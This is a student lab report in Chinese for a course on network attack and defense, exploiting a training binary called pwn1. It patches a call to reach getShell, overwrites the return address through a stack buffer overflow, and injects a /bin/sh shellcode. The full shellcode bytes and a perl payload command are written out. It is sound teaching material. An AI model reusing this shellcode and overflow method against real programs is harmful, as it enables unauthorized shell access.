20192406梁健 2021-2022-2 《网络与系统攻防技术》实验一实验报告
1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
方案一:手工修改
(1)首先通过objdump反汇编查看pwn文件中函数的地址
<getShell> 0x0804847d
<foo> 0x08048491
(2)查看main函数中调用foo函数的代码
80484b5: e8 d7 ff ff ff ;;call 8048491
80484ba: b8 00 00 00 00 ;;mov $0x0,%eax
(3)根据地址信息计算新的调用地址
main函数调用foo函数分析:
执行到call 8048491 行时发生了调用,此时指令寄存器EIP中存放的信息为0x080484ba。因此有如下计算公式
foo地址 - [EIP] = call指令后的数据
0x08048491 - 0x080484ba = 0x-29
0x-29的补码是d7 ff ff ff,以小端序显示
如果要修改为调用getShell函数,则有如下计算公式:
getShell地址 - [EIP] = call指令后的数据
0x0804847d - 0x080484ba = 0x-3d
0x-3d的补码是ff ff ff c3,小端序为c3 ff ff ff
(3)修改文件内容
使用vi编辑器的十六进制显示模式:%!xxd
,查找d7 ff ff ff
,将其修改为c3 ff ff ff
方案二:构造字符串
(1)查看foo函数的Bof漏洞并计算缓冲区空间
08048491 <foo>:
8048491: 55 ;;push %ebp
8048492: 89 e5 ;;mov %esp,%ebp
8048494: 83 ec 38 ;;sub $0x38,%esp
8048497: 8d 45 e4 ;;lea -0x1c(%ebp),%eax
804849a: 89 04 24 ;;mov %eax,(%esp)
指令sub $0x38,%esp
表示开辟0x38的堆栈空间,lea -0x1c(%ebp),%eax
表示将-0x1c的空间赋给临时变量(用于存储输入)。由进制转换可知,38(h) = 56(d), 1c(h) = 28(d),所以缓冲区大小为28个字符。
堆栈内容:
高地址
EIP 返回本次调用后,下一条指令的地址(0x080484ba)
------------------------------------------------------
EBP 保存调用者的EBP,然后EBP指向此时的栈顶。
临时变量占28位(0x1c)
xxxxxxxxxxxxx 剩余空间28位
-------------------- 申请栈的总空间0x38 = 56位
低地址
(2)测试返回地址所在的溢出位置
使用gdb调试程序,查看溢出的字段对EIP的影响。
由图片可以看出从输入的第29位开始,1111
的ASCII 31313131
被写入ESP,2222
的ASCII 32323232
被写入EIP,即输入的第33到36位为覆盖的返回地址。
(3)构造注入字符串并实现注入
由(2)可知,注入字符串需要在第33到36位写上<getShell>函数的地址0x0804847d
,通过查询ASCII可知,08、04、84都是不可显示字符,无法通过键盘输入。因此需要借助perl工具将十六进制的0x0804847d写入输入文件,再通过输入文件的内容进行注入。前32位的内容无所谓。
方案三:注入shellcode
(1)根据实验指导视频选择payload的结构及基本内容
payload : anything+retaddr+nop+shellcode ##选择此结构的理由见问题1
anything为32个任意字符
retaddr为nop或shellcode的地址
nop为系统空指令 \x90
shellcode为以/bin/sh
为基础的字符串
shellcode的十六进制汇编指令如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90
※主要的问题是如何确定retaddr应该填写的内容。
(2)使用GDB调试检测retaddr的内容
在一个终端中执行(cat input;cat)|./pwn20192406
但不运行程序,在另一个终端中使用ps -ef|grep pwn20192406
查询pwn20192406程序进程号,并使用gdb的attach pid
命令调试进程。
使用disassemble foo
将foo函数反汇编,然后在foo函数的ret位置设置断点break *0x080484ae
, 输入命令c
继续执行,然后在第一个终端按回车。命令info r esp
查看esp的内容,命令x/16x 0xffffd15c
查看内存信息,命令x/16x 0xffffd13c
查看文件输入信息。
由图片信息可知,返回地址在0xffffd15c
,因此nop的地址应该在返回地址的下一位,所以可以选择0xffffd160
,所以payload中的retaddr应该为60d1ffff。
(3)使用perl生成shellcode文件
执行命令生成shellcode
perl -e 'print "a"x32;print"\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > shellcode
(4)执行shellcode注入
(cat shellcode; cat) | ./pwn20192406